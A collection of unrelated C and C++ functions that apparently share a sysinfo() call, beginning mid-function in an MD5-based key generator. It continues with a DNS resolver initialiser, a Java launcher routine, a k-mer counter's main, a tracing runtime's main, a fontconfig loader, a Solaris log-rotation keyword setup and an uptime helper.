bsnprintf(s + strlen(s), ss, "%lu", (uint32_t) gethostid()); #endif gethostname(s + strlen(s), 256); bsnprintf(s + strlen(s), ss, "%lu", (uint32_t)getuid()); bsnprintf(s + strlen(s), ss, "%lu", (uint32_t)getgid()); #endif MD5Init(&md5c); MD5Update(&md5c, (uint8_t *)s, strlen(s)); MD5Final(md5key, &md5c); bsnprintf(s + strlen(s), ss, "%lu", (uint32_t)((time(NULL) + 65121) ^ 0x375F)); MD5Init(&md5c); MD5Update(&md5c, (uint8_t *)s, strlen(s)); MD5Final(md5key1, &md5c); #define nextrand (md5key[j] ^ md5key1[j]) if (mode) { for (j = k = 0; j < 16; j++) { unsigned char rb = nextrand; #define Rad16(x) ((x) + 'A') key[k++] = Rad16((rb >> 4) & 0xF); key[k++] = Rad16(rb & 0xF); #undef Rad16 if (j & 1) { key[k++] = '-'; } } key[--k] = 0; } else { for (j = 0; j < 16; j++) {
/*% This function has to be reachable by res_data.c but not publically. */ int __res_vinit(res_state statp, int preinit) { FILE *fp; char *cp, **pp; int n; char buf[BUFSIZ]; int nserv = 0; /*%< number of nameserver records read from file */ int haveenv = 0; int havesearch = 0; #ifdef RESOLVSORT int nsort = 0; char *net; #endif int dots; union res_sockaddr_union u[2]; int maxns = MAXNS; RES_SET_H_ERRNO(statp, 0); if (statp->_u._ext.ext != NULL) res_ndestroy(statp); if (!preinit) { statp->retrans = RES_TIMEOUT; statp->retry = RES_DFLRETRY; statp->options = RES_DEFAULT; } statp->_rnd = malloc(16); res_rndinit(statp); statp->id = res_nrandomid(statp); memset(u, 0, sizeof(u)); #ifdef USELOOPBACK u[nserv].sin.sin_addr = inet_makeaddr(IN_LOOPBACKNET, 1); #else u[nserv].sin.sin_addr.s_addr = INADDR_ANY; #endif u[nserv].sin.sin_family = AF_INET; u[nserv].sin.sin_port = htons(NAMESERVER_PORT); #ifdef HAVE_SA_LEN u[nserv].sin.sin_len = sizeof(struct sockaddr_in); #endif nserv++; #ifdef HAS_INET6_STRUCTS #ifdef USELOOPBACK u[nserv].sin6.sin6_addr = in6addr_loopback; #else u[nserv].sin6.sin6_addr = in6addr_any; #endif u[nserv].sin6.sin6_family = AF_INET6; u[nserv].sin6.sin6_port = htons(NAMESERVER_PORT); #ifdef HAVE_SA_LEN u[nserv].sin6.sin6_len = sizeof(struct sockaddr_in6); #endif nserv++; #endif statp->nscount = 0; statp->ndots = 1; statp->pfcode = 0; statp->_vcsock = -1; statp->_flags = 0; statp->qhook = NULL; statp->rhook = NULL; statp->_u._ext.nscount = 0; statp->_u._ext.ext = malloc(sizeof(*statp->_u._ext.ext)); if (statp->_u._ext.ext != NULL) { memset(statp->_u._ext.ext, 0, sizeof(*statp->_u._ext.ext)); statp->_u._ext.ext->nsaddrs[0].sin = statp->nsaddr; strcpy(statp->_u._ext.ext->nsuffix, "ip6.arpa"); strcpy(statp->_u._ext.ext->nsuffix2, "ip6.int"); } else { /* * Historically res_init() rarely, if at all, failed. * Examples and applications exist which do not check * our return code. Furthermore several applications * simply call us to get the systems domainname. So * rather then immediately fail here we store the * failure, which is returned later, in h_errno. And * prevent the collection of 'nameserver' information * by setting maxns to 0. Thus applications that fail * to check our return code wont be able to make * queries anyhow. */ RES_SET_H_ERRNO(statp, NETDB_INTERNAL); maxns = 0; } #ifdef RESOLVSORT statp->nsort = 0; #endif res_setservers(statp, u, nserv); #ifdef SOLARIS2 /* * The old libresolv derived the defaultdomain from NIS/NIS+. * We want to keep this behaviour */ { char buf[sizeof(statp->defdname)], *cp; int ret; if ((ret = sysinfo(SI_SRPC_DOMAIN, buf, sizeof(buf))) > 0 && (unsigned int)ret <= sizeof(buf)) { if (buf[0] == '+') buf[0] = '.'; cp = strchr(buf, '.'); cp = (cp == NULL) ? buf : (cp + 1); strncpy(statp->defdname, cp, sizeof(statp->defdname) - 1); statp->defdname[sizeof(statp->defdname) - 1] = '\0'; } } #endif /* SOLARIS2 */ /* Allow user to override the local domain definition */ if (issetugid() == 0 && (cp = getenv("LOCALDOMAIN")) != NULL) { (void)strncpy(statp->defdname, cp, sizeof(statp->defdname) - 1); statp->defdname[sizeof(statp->defdname) - 1] = '\0'; haveenv++; /* * Set search list to be blank-separated strings * from rest of env value. Permits users of LOCALDOMAIN * to still have a search list, and anyone to set the * one that they want to use as an individual (even more * important now that the rfc1535 stuff restricts searches) */ cp = statp->defdname; pp = statp->dnsrch; *pp++ = cp; for (n = 0; *cp && pp < statp->dnsrch + MAXDNSRCH; cp++) { if (*cp == '\n') /*%< silly backwards compat */ break; else if (*cp == ' ' || *cp == '\t') { *cp = 0; n = 1; } else if (n) { *pp++ = cp; n = 0; havesearch = 1; } } /* null terminate last domain if there are excess */ while (*cp != '\0' && *cp != ' ' && *cp != '\t' && *cp != '\n') cp++; *cp = '\0'; *pp++ = 0; } #define MATCH(line, name) \ (!strncmp(line, name, sizeof(name) - 1) && \ (line[sizeof(name) - 1] == ' ' || \ line[sizeof(name) - 1] == '\t')) nserv = 0; if ((fp = fopen(_PATH_RESCONF, "r")) != NULL) { /* read the config file */ while (fgets(buf, sizeof(buf), fp) != NULL) { /* skip comments */ if (*buf == ';' || *buf == '#') continue; /* read default domain name */ if (MATCH(buf, "domain")) { if (haveenv) /*%< skip if have from environ */ continue; cp = buf + sizeof("domain") - 1; while (*cp == ' ' || *cp == '\t') cp++; if ((*cp == '\0') || (*cp == '\n')) continue; strncpy(statp->defdname, cp, sizeof(statp->defdname) - 1); statp->defdname[sizeof(statp->defdname) - 1] = '\0'; if ((cp = strpbrk(statp->defdname, " \t\n")) != NULL) *cp = '\0'; havesearch = 0; continue; } /* set search list */ if (MATCH(buf, "search")) { if (haveenv) /*%< skip if have from environ */ continue; cp = buf + sizeof("search") - 1; while (*cp == ' ' || *cp == '\t') cp++; if ((*cp == '\0') || (*cp == '\n')) continue; strncpy(statp->defdname, cp, sizeof(statp->defdname) - 1); statp->defdname[sizeof(statp->defdname) - 1] = '\0'; if ((cp = strchr(statp->defdname, '\n')) != NULL) *cp = '\0'; /* * Set search list to be blank-separated strings * on rest of line. */ cp = statp->defdname; pp = statp->dnsrch; *pp++ = cp; for (n = 0; *cp && pp < statp->dnsrch + MAXDNSRCH; cp++) { if (*cp == ' ' || *cp == '\t') { *cp = 0; n = 1; } else if (n) { *pp++ = cp; n = 0; } } /* null terminate last domain if there are excess */ while (*cp != '\0' && *cp != ' ' && *cp != '\t') cp++; *cp = '\0'; *pp++ = 0; havesearch = 1; continue; } /* read nameservers to query */ if (MATCH(buf, "nameserver") && nserv < maxns) { struct addrinfo hints, *ai; char sbuf[NI_MAXSERV]; const size_t minsiz = sizeof(statp->_u._ext.ext->nsaddrs[0]); cp = buf + sizeof("nameserver") - 1; while (*cp == ' ' || *cp == '\t') cp++; cp[strcspn(cp, ";# \t\n")] = '\0'; if ((*cp != '\0') && (*cp != '\n')) { memset(&hints, 0, sizeof(hints)); hints.ai_family = PF_UNSPEC; hints.ai_socktype = SOCK_DGRAM; /*dummy*/ hints.ai_flags = AI_NUMERICHOST; sprintf(sbuf, "%u", NAMESERVER_PORT); if (getaddrinfo(cp, sbuf, &hints, &ai) == 0 && ai->ai_addrlen <= minsiz) { if (statp->_u._ext.ext != NULL) { memcpy(&statp->_u._ext.ext->nsaddrs[nserv], ai->ai_addr, ai->ai_addrlen); } if (ai->ai_addrlen <= sizeof(statp->nsaddr_list[nserv])) { memcpy(&statp->nsaddr_list[nserv], ai->ai_addr, ai->ai_addrlen); } else statp->nsaddr_list[nserv].sin_family = 0; freeaddrinfo(ai); nserv++; } } continue; } #ifdef RESOLVSORT if (MATCH(buf, "sortlist")) { struct in_addr a; struct in6_addr a6; int m, i; u_char *u; struct __res_state_ext *ext = statp->_u._ext.ext; cp = buf + sizeof("sortlist") - 1; while (nsort < MAXRESOLVSORT) { while (*cp == ' ' || *cp == '\t') cp++; if (*cp == '\0' || *cp == '\n' || *cp == ';') break; net = cp; while (*cp && !ISSORTMASK(*cp) && *cp != ';' && isascii(*cp) && !isspace((unsigned char)*cp)) cp++; n = *cp; *cp = 0; if (inet_aton(net, &a)) { statp->sort_list[nsort].addr = a; if (ISSORTMASK(n)) { *cp++ = n; net = cp; while (*cp && *cp != ';' && isascii(*cp) && !isspace((unsigned char)*cp)) cp++; n = *cp; *cp = 0; if (inet_aton(net, &a)) { statp->sort_list[nsort].mask = a.s_addr; } else { statp->sort_list[nsort].mask = net_mask(statp->sort_list[nsort].addr); } } else { statp->sort_list[nsort].mask = net_mask(statp->sort_list[nsort].addr); } ext->sort_list[nsort].af = AF_INET; ext->sort_list[nsort].addr.ina = statp->sort_list[nsort].addr; ext->sort_list[nsort].mask.ina.s_addr = statp->sort_list[nsort].mask; nsort++; } else if (inet_pton(AF_INET6, net, &a6) == 1) { ext->sort_list[nsort].af = AF_INET6; ext->sort_list[nsort].addr.in6a = a6; u = (u_char *)&ext->sort_list[nsort].mask.in6a; *cp++ = n; net = cp; while (*cp && *cp != ';' && isascii(*cp) && !isspace(*cp)) cp++; m = n; n = *cp; *cp = 0; switch (m) { case '/': m = atoi(net); break; case '&': if (inet_pton(AF_INET6, net, u) == 1) { m = -1; break; } /*FALLTHROUGH*/ default: m = sizeof(struct in6_addr) * CHAR_BIT; break; } if (m >= 0) { for (i = 0; i < sizeof(struct in6_addr); i++) { if (m <= 0) { *u = 0; } else { m -= CHAR_BIT; *u = (u_char)~0; if (m < 0) *u <<= -m; } u++; } } statp->sort_list[nsort].addr.s_addr = (u_int32_t)0xffffffff; statp->sort_list[nsort].mask = (u_int32_t)0xffffffff; nsort++; } *cp = n; } continue; } #endif if (MATCH(buf, "options")) { res_setoptions(statp, buf + sizeof("options") - 1, "conf"); continue; } } if (nserv > 0) statp->nscount = nserv; #ifdef RESOLVSORT statp->nsort = nsort; #endif (void) fclose(fp); } /* * Last chance to get a nameserver. This should not normally * be necessary */ #ifdef NO_RESOLV_CONF if(nserv == 0) nserv = get_nameservers(statp); #endif if (statp->defdname[0] == 0 && gethostname(buf, sizeof(statp->defdname) - 1) == 0 && (cp = strchr(buf, '.')) != NULL) strcpy(statp->defdname, cp + 1); /* find components of local domain that might be searched */ if (havesearch == 0) { pp = statp->dnsrch; *pp++ = statp->defdname; *pp = NULL; dots = 0; for (cp = statp->defdname; *cp; cp++) dots += (*cp == '.'); cp = statp->defdname; while (pp < statp->dnsrch + MAXDFLSRCH) { if (dots < LOCALDOMAINPARTS) break; cp = strchr(cp, '.') + 1; /*%< we know there is one */ *pp++ = cp; dots--; } *pp = NULL; #ifdef DEBUG if (statp->options & RES_DEBUG) { printf(";; res_init()... default dnsrch list:\n"); for (pp = statp->dnsrch; *pp; pp++) printf(";;\t%s\n", *pp); printf(";;\t..END..\n"); } #endif } if (issetugid()) statp->options |= RES_NOALIASES; else if ((cp = getenv("RES_OPTIONS")) != NULL) res_setoptions(statp, cp, "env"); statp->options |= RES_INIT; return (statp->res_h_errno); }
jboolean LoadJavaVM(const char *jvmpath, InvocationFunctions *ifn) { void *libjvm; JLI_TraceLauncher("JVM path is %s\n", jvmpath); libjvm = dlopen(jvmpath, RTLD_NOW + RTLD_GLOBAL); if (libjvm == NULL) { #if defined(__solaris__) && defined(__sparc) && !defined(_LP64) /* i.e. 32-bit sparc */ FILE * fp; Elf32_Ehdr elf_head; int count; int location; fp = fopen(jvmpath, "r"); if (fp == NULL) { JLI_ReportErrorMessage(DLL_ERROR2, jvmpath, dlerror()); return JNI_FALSE; } /* read in elf header */ count = fread((void*)(&elf_head), sizeof(Elf32_Ehdr), 1, fp); fclose(fp); if (count < 1) { JLI_ReportErrorMessage(DLL_ERROR2, jvmpath, dlerror()); return JNI_FALSE; } /* * Check for running a server vm (compiled with -xarch=v8plus) * on a stock v8 processor. In this case, the machine type in * the elf header would not be included the architecture list * provided by the isalist command, which is turn is gotten from * sysinfo. This case cannot occur on 64-bit hardware and thus * does not have to be checked for in binaries with an LP64 data * model. */ if (elf_head.e_machine == EM_SPARC32PLUS) { char buf[257]; /* recommended buffer size from sysinfo man page */ long length; char* location; length = sysinfo(SI_ISALIST, buf, 257); if (length > 0) { location = JLI_StrStr(buf, "sparcv8plus "); if (location == NULL) { JLI_ReportErrorMessage(JVM_ERROR3); return JNI_FALSE; } } } #endif JLI_ReportErrorMessage(DLL_ERROR1, __LINE__); JLI_ReportErrorMessage(DLL_ERROR2, jvmpath, dlerror()); return JNI_FALSE; } ifn->CreateJavaVM = (CreateJavaVM_t) dlsym(libjvm, "JNI_CreateJavaVM"); if (ifn->CreateJavaVM == NULL) { JLI_ReportErrorMessage(DLL_ERROR2, jvmpath, dlerror()); return JNI_FALSE; } ifn->GetDefaultJavaVMInitArgs = (GetDefaultJavaVMInitArgs_t) dlsym(libjvm, "JNI_GetDefaultJavaVMInitArgs"); if (ifn->GetDefaultJavaVMInitArgs == NULL) { JLI_ReportErrorMessage(DLL_ERROR2, jvmpath, dlerror()); return JNI_FALSE; } ifn->GetCreatedJavaVMs = (GetCreatedJavaVMs_t) dlsym(libjvm, "JNI_GetCreatedJavaVMs"); if (ifn->GetCreatedJavaVMs == NULL) { JLI_ReportErrorMessage(DLL_ERROR2, jvmpath, dlerror()); return JNI_FALSE; } return JNI_TRUE; }
int main(int argc, char *argv[]) { if(argc < 3) { fprintf (stderr,"%s: [d]isk [s]treaming of [k]-mers (constant-memory k-mer counting)\n",argv[0]); fprintf (stderr,"usage:\n"); fprintf (stderr," %s input_file kmer_size [-t min_abundance] [-m max_memory] [-d max_disk_space] [-o out_prefix] [-histo]\n",argv[0]); fprintf (stderr,"details:\n [-t min_abundance] filters out k-mers seen ( < min_abundance ) times, default: 1 (all kmers are returned)\n [-m max_memory] is in MB, default: min(total system memory / 2, 5 GB) \n [-d max_disk_space] is in MB, default: min(available disk space / 2, reads file size)\n [-o out_prefix] saves results in [out_prefix].solid_kmers. default out_prefix = basename(input_file)\n [-histo] outputs histogram of kmers abundance\n [-rev] outputs only one of forward or reverse complement k-mers\n Input file can be fasta, fastq, gzipped or not, or a file containing a list of file names.\n"); #ifdef SVN_REV fprintf(stderr,"Running dsk version %s\n",STR(SVN_REV)); #endif return 0; } // reads file Bank *Reads = new Bank(argv[1]); if (argv[2][0] == '-') { printf("please specify a k value\n"); exit(1); } /* Changes by Raunaq * Code addition for taking in multiple values of k. The file containing should have values of k sorted in decreasing order * */ int *Kmerlist = loadKmers(argv[2]); // kmer size //fprintf(stderr,"Smallest kmer is %d \n",smallestKmer); sizeKmer = Kmerlist[0]; if (sizeKmer>(int)(sizeof(kmer_type)*4)) { printf("Max kmer size on this compiled version is %lu\n",sizeof(kmer_type)*4); exit(1); } kmerMask=(((kmer_type)1)<<(sizeKmer*2))-1; // default solidity nks = 1; // default max memory max_memory = 5*1024; #ifndef OSX struct sysinfo info; sysinfo(&info); int total_ram = (int)(((double)info.totalram*(double)info.mem_unit)/1024/1024); printf("Total RAM: %d MB\n",total_ram); #else int total_ram = 128*1024; #endif // default prefix is the reads file basename char *reads_path=strdup(argv[1]); string reads_name(basename(reads_path)); // posix basename() may alter reads_path free(reads_path); int lastindex = reads_name.find_last_of("."); strcpy(prefix,reads_name.substr(0, lastindex).c_str()); for (int n_a = 3; n_a < argc ; n_a++) { if (strcmp(argv[n_a],"-t")==0) nks = atoi(argv[n_a+1]); if (strcmp(argv[n_a],"-o")==0) strcpy(prefix,argv[n_a+1]); } int verbose = 0; bool reverse = false; max_disk_space = 0; output_histo =false; // parse the remaining arguments: these will override the default max memory / max disk for (int n_a = 3; n_a < argc ; n_a++) { if (strcmp(argv[n_a],"-m")==0) max_memory = atoi(argv[n_a+1]); if (strcmp(argv[n_a],"-d")==0) max_disk_space = atoi(argv[n_a+1]); if (strcmp(argv[n_a],"-v")==0) verbose = 1; if (strcmp(argv[n_a],"-vv")==0) verbose = 2; if (strcmp(argv[n_a],"-histo")==0) output_histo =true; if (strcmp(argv[n_a],"-rev")==0) reverse = true; } if (max_memory > total_ram) { printf("Maximum memory (%d MB), exceeds total RAM (%d MB). Setting maximum memory to %d MB.\n",max_memory,total_ram,total_ram/2); max_memory = total_ram/2; } STARTWALL(0); sorting_count(Reads,prefix,max_memory,max_disk_space,true,verbose,reverse); STOPWALL(0,"Total"); delete Reads; return 0; }
int main(int argc, char** argv) { int r; pthread_t pt_temp; char* d = NULL; if (__ctThreadGlobalNumber == 0) { char* flimit = getenv("CONTECH_FE_LIMIT"); if (flimit != NULL) { int ilimit = atoi(flimit); __ctMaxBuffers = ((unsigned long long)ilimit * 1024 * 1024) / ((unsigned long long) SERIAL_BUFFER_SIZE); } else { struct sysinfo t_info; if (0 == sysinfo(&t_info)) { unsigned long long mem_size = (unsigned long long)t_info.freeram * (unsigned long long)t_info.mem_unit; mem_size = (mem_size * 9) / 10; __ctMaxBuffers = (mem_size) / ((unsigned long long) SERIAL_BUFFER_SIZE); printf("CT_MEM: %llu\t%u\n", mem_size, __ctMaxBuffers); } } pthread_mutex_init(&__ctQueueBufferLock, NULL); pthread_cond_init(&__ctQueueSignal, NULL); pthread_mutex_init(&__ctFreeBufferLock, NULL); pthread_cond_init(&__ctFreeSignal, NULL); #ifdef DEBUG pthread_mutex_init(&__ctPrintLock, NULL); #endif // Set aside 0 for main thread __ctThreadLocalNumber = __sync_fetch_and_add(&__ctThreadGlobalNumber, 1); // Prealloc { /*pct_serial_buffer t = NULL; for (int i = 0; i < 10000; i++) { //__ctQueueBuffer(true); __ctAllocateLocalBuffer(); __ctThreadLocalBuffer->next = t; t = __ctThreadLocalBuffer; __ctThreadLocalBuffer = NULL; } __ctCurrentBuffers = 0; __ctFreeBuffers = t;*/ } // Now create the background thread writer if (0 != pthread_create(&pt_temp, NULL, __ctBackgroundThreadWriter, NULL)) { exit(1); } if (getenv("CONTECH_ROI_ENABLE")) { __ctIsROIEnabled = true; } } __ctThreadInfoList = NULL; __ctThreadLocalBuffer = NULL; // Allocate a real CT buffer for the main thread, this replaces initBuffer // Use ROI code to reset if there is a ROI present __ctAllocateLocalBuffer(); { struct timeb tp; ftime(&tp); printf("CT_START: %d.%03d\n", (unsigned int)tp.time, tp.millitm); } // Invoke main, protected by pthread_cleanup handlers, so that main can exit cleanly with // its background thread __ctStoreThreadCreate(0, 0, rdtsc()); if (__ctIsROIEnabled == true) { __ctQueueBuffer(false); } pthread_cleanup_push(__ctCleanupThreadMain, (void*)pt_temp); r = ct_orig_main(argc, argv); pthread_cleanup_pop(1); // In rare cases, after we exit, we still have instrumentation being called // Record those events in the static buffer and let them languish. __ctThreadLocalBuffer = (pct_serial_buffer)&initBuffer; return r; }
static void* openFontConfig() { char *homeEnv; static char *homeEnvStr = "HOME="; /* must be static */ void* libfontconfig = NULL; #ifdef __solaris__ #define SYSINFOBUFSZ 8 char sysinfobuf[SYSINFOBUFSZ]; #endif /* Private workaround to not use fontconfig library. * May be useful during testing/debugging */ char *useFC = getenv("USE_J2D_FONTCONFIG"); if (useFC != NULL && !strcmp(useFC, "no")) { return NULL; } #ifdef __solaris__ /* fontconfig is likely not properly configured on S8/S9 - skip it, * although allow user to override this behaviour with an env. variable * ie if USE_J2D_FONTCONFIG=yes then we skip this test. * NB "4" is the length of a string which matches our patterns. */ if (useFC == NULL || strcmp(useFC, "yes")) { if (sysinfo(SI_RELEASE, sysinfobuf, SYSINFOBUFSZ) == 4) { if ((!strcmp(sysinfobuf, "5.8") || !strcmp(sysinfobuf, "5.9"))) { return NULL; } } } #endif /* 64 bit sparc should pick up the right version from the lib path. * New features may be added to libfontconfig, this is expected to * be compatible with old features, but we may need to start * distinguishing the library version, to know whether to expect * certain symbols - and functionality - to be available. * Also add explicit search for .so.1 in case .so symlink doesn't exist. */ libfontconfig = dlopen("libfontconfig.so.1", RTLD_LOCAL|RTLD_LAZY); if (libfontconfig == NULL) { libfontconfig = dlopen("libfontconfig.so", RTLD_LOCAL|RTLD_LAZY); if (libfontconfig == NULL) { return NULL; } } /* Version 1.0 of libfontconfig crashes if HOME isn't defined in * the environment. This should generally never happen, but we can't * control it, and can't control the version of fontconfig, so iff * its not defined we set it to an empty value which is sufficient * to prevent a crash. I considered unsetting it before exit, but * it doesn't appear to work on Solaris, so I will leave it set. */ homeEnv = getenv("HOME"); if (homeEnv == NULL) { putenv(homeEnvStr); } return libfontconfig; }
/* * kw_init -- initialize keywords based on given filename */ void kw_init(struct fn *fnp, struct fn *nfnp) { static char *fullpath; static char *nfullpath; static char *splitpath; static char secs[MAXDIGITS]; static struct utsname un; static char platform[SYS_NMLN]; static char isa[SYS_NMLN]; static char domain[256]; static char *home; static char *user; static char *logname; static char zonename[ZONENAME_MAX]; static zoneid_t zoneid; static int initialized; char *ptr; /* make a copy of the string for $file */ if (fullpath) FREE(fullpath); fullpath = STRDUP(fn_s(fnp)); Keywords = lut_add(Keywords, "file", fullpath); /* make a copy of the string for $nfile */ if (nfullpath) FREE(nfullpath); if (nfnp == NULL) { nfullpath = NULL; Keywords = lut_add(Keywords, "nfile", ""); } else { nfullpath = STRDUP(fn_s(nfnp)); Keywords = lut_add(Keywords, "nfile", nfullpath); } /* make a copy of the string for $dirname/$basename */ if (splitpath) FREE(splitpath); splitpath = STRDUP(fn_s(fnp)); if ((ptr = strrchr(splitpath, '/')) == NULL) { Keywords = lut_add(Keywords, "basename", splitpath); Keywords = lut_add(Keywords, "dirname", "."); } else { *ptr++ = '\0'; Keywords = lut_add(Keywords, "basename", ptr); Keywords = lut_add(Keywords, "dirname", splitpath); } if (initialized) return; /* rest of the keywords don't change */ (void) snprintf(secs, MAXDIGITS, "%d", (int)Now); Keywords = lut_add(Keywords, "secs", secs); if (uname(&un) < 0) err(EF_SYS, "uname"); Keywords = lut_add(Keywords, "nodename", un.nodename); Keywords = lut_add(Keywords, "release", un.release); Keywords = lut_add(Keywords, "machine", un.machine); if (sysinfo(SI_ARCHITECTURE, isa, sizeof (isa)) == -1) err(EF_WARN|EF_SYS, "sysinfo(SI_ARCHITECTURE) failed."); else Keywords = lut_add(Keywords, "isa", isa); if (sysinfo(SI_PLATFORM, platform, sizeof (platform)) == -1) err(EF_WARN|EF_SYS, "sysinfo(SI_PLATFORM) failed."); else Keywords = lut_add(Keywords, "platform", platform); if (sysinfo(SI_SRPC_DOMAIN, domain, sizeof (domain)) == -1) err(EF_WARN|EF_SYS, "sysinfo(SI_SRPC_DOMAIN) failed."); else Keywords = lut_add(Keywords, "domain", domain); if ((home = getenv("HOME")) != NULL) Keywords = lut_add(Keywords, "home", STRDUP(home)); if ((user = getenv("USER")) != NULL) Keywords = lut_add(Keywords, "user", STRDUP(user)); if ((logname = getenv("LOGNAME")) != NULL) Keywords = lut_add(Keywords, "logname", STRDUP(logname)); zoneid = getzoneid(); if ((getzonenamebyid(zoneid, zonename, sizeof (zonename))) == -1) err(EF_WARN|EF_SYS, "getzonenamebyid() failed."); else Keywords = lut_add(Keywords, "zonename", STRDUP(zonename)); initialized = 1; }
long get_uptime(void) { struct sysinfo si; sysinfo(&si); return si.uptime; }